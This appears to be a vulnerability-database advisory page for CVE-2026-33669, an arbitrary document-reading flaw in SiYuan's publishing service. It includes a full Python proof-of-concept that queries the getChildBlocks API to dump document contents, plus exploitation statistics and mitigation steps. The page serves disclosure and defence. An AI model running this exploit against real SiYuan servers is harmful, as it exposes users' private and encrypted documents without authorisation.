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CRITICAL severity

CVE-2026-33669 — kernel

CRITICAL

CVE-2026-33669 is a critical-severity (CVSS 9.8) Out-of-bounds Read vulnerability in github.com/siyuan-note/siyuan/kernel. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

SiYuan has Arbitrary Document Reading within the Publishing Service

Also known asGHSA-34xj-66v3-6j83GO-2026-4842
Published
Updated
Affected
2 pkgs
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 4, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-33669.

EPSS Exploitation Probability

via FIRST.org ↗
0.5%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs45th percentile — riskier than 45% of all scored CVEsHighest risk
0.00%0.34%0.69%1.03%0.0%0.5%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

2 pkgs affected
🐹github.com/siyuan-note/siyuan/kernel🐹github.com/siyuan-note/siyuan/kernel

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Details

Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.

PoC

#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys

def get_child_blocks(target_url, doc_id):
    """
    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
    """
    url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"
    
    headers = {
        "Content-Type": "application/json"
    }
    
    data = {
        "id": doc_id
    }
    
    try:
        response = requests.post(url, json=data, headers=headers, timeout=10)
        response.raise_for_status()
        
        result = response.json()
        
        if result.get("code") != 0:
            print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
            return None
        
        return result.get("data")
        
    except requests.exceptions.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        return None
    except json.JSONDecodeError as e:
        print(f"[-] JSON解析失败: {e}")
        return None

def format_block_content(block):
    """格式化块内容"""
    content = ""
    
    # 获取块内容
    if isinstance(block, dict):
        # 尝试多种可能的字段
        md = block.get("markdown", "") or block.get("content", "") or ""
        if md:
            content = md.strip()
    
    return content

def main():
    """主函数"""
    if len(sys.argv) > 1:
        target_url = sys.argv[1]
    else:
        target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
        if not target_url:
            target_url = "http://localhost:6806"
    
    print(f"目标地址: {target_url}")
    print("=" * 50)
    
    while True:
        print("\n" + "=" * 50)
        doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()
        
        if doc_id.lower() in ['quit', 'exit', 'q']:
            print("程序退出")
            break
        
        if not doc_id:
            print("[-] 文档ID不能为空")
            continue
        
        print(f"\n[*] 正在读取文档: {doc_id}")
        
        blocks = get_child_blocks(target_url, doc_id)
        
        if blocks is None:
            print("[-] 获取文档内容失败")
            continue
        
        if not blocks:
            print(f"[!] 文档 {doc_id} 没有子块或为空")
            continue
        
        print(f"[+] 成功获取 {len(blocks)} 个子块")
        print("-" * 50)
        
        # 保存所有块内容
        all_blocks_content = []
        
        for i, block in enumerate(blocks, 1):
            content = format_block_content(block)
            if content:
                print(content[:200] + ("..." if len(content) > 200 else ""))
                
                all_blocks_content.append({
                    "index": i,
                    "content": content,
                    "raw_block": block
                })
        
        # 询问是否保存到文件
        save_choice = input("\n是否保存到文件? (y/N): ").strip().lower()
        if save_choice in ['y', 'yes']:
            filename = f"doc_{doc_id}_blocks.json"
            try:
                with open(filename, "w", encoding="utf-8") as f:
                    json.dump({
                        "doc_id": doc_id,
                        "block_count": len(blocks),
                        "blocks": all_blocks_content
                    }, f, ensure_ascii=False, indent=2)
                print(f"[+] 已保存到: {filename}")
            except Exception as e:
                print(f"[-] 保存失败: {e}")
        
        print("-" * 50)

if __name__ == "__main__":
    main()
<img width="1492" height="757" alt="image" src="https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc" />

Impact

File reading: All encrypted or prohibited documents under the publishing service could be read.

Affected Packages

2 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/siyuan-note/siyuan/kernelall versionsNo fix
🐹Gogithub.com/siyuan-note/siyuan/kernelall versionsNo fix

Affected Products

1 product · 1 configurations
Application
siyuanb3log
< 3.6.2
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/siyuan-note/siyuan/kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of github.com/siyuan-note/siyuan/kernel for CVE-2026-33669. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    Stop feeding it untrusted input: reject or quarantine files and payloads from unverified sources until you can upgrade, restrict accepted formats to the ones you actually need, and run the parsing or decoding step in a least-privileged sandbox or short-lived worker so a crash or corrupted read cannot reach the rest of the process.

Frequently Asked Questions

### Details Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents. ### PoC ```python #!/usr/bin/env python3 """SiYuan /api/block/getChildBlocks 文档内容读取""" import requests import json import sys def get_child_blocks(target_url, doc_id): """ 调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容 """ url = f"{target_url.rstrip('/')}/api/block/getChildBlocks" headers = { "Content-Type": "application/json" } data = { "id": doc_id }
O3 Security · Impact-Aware SCA

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CVE-2026-33669: kernel (Critical 9.8)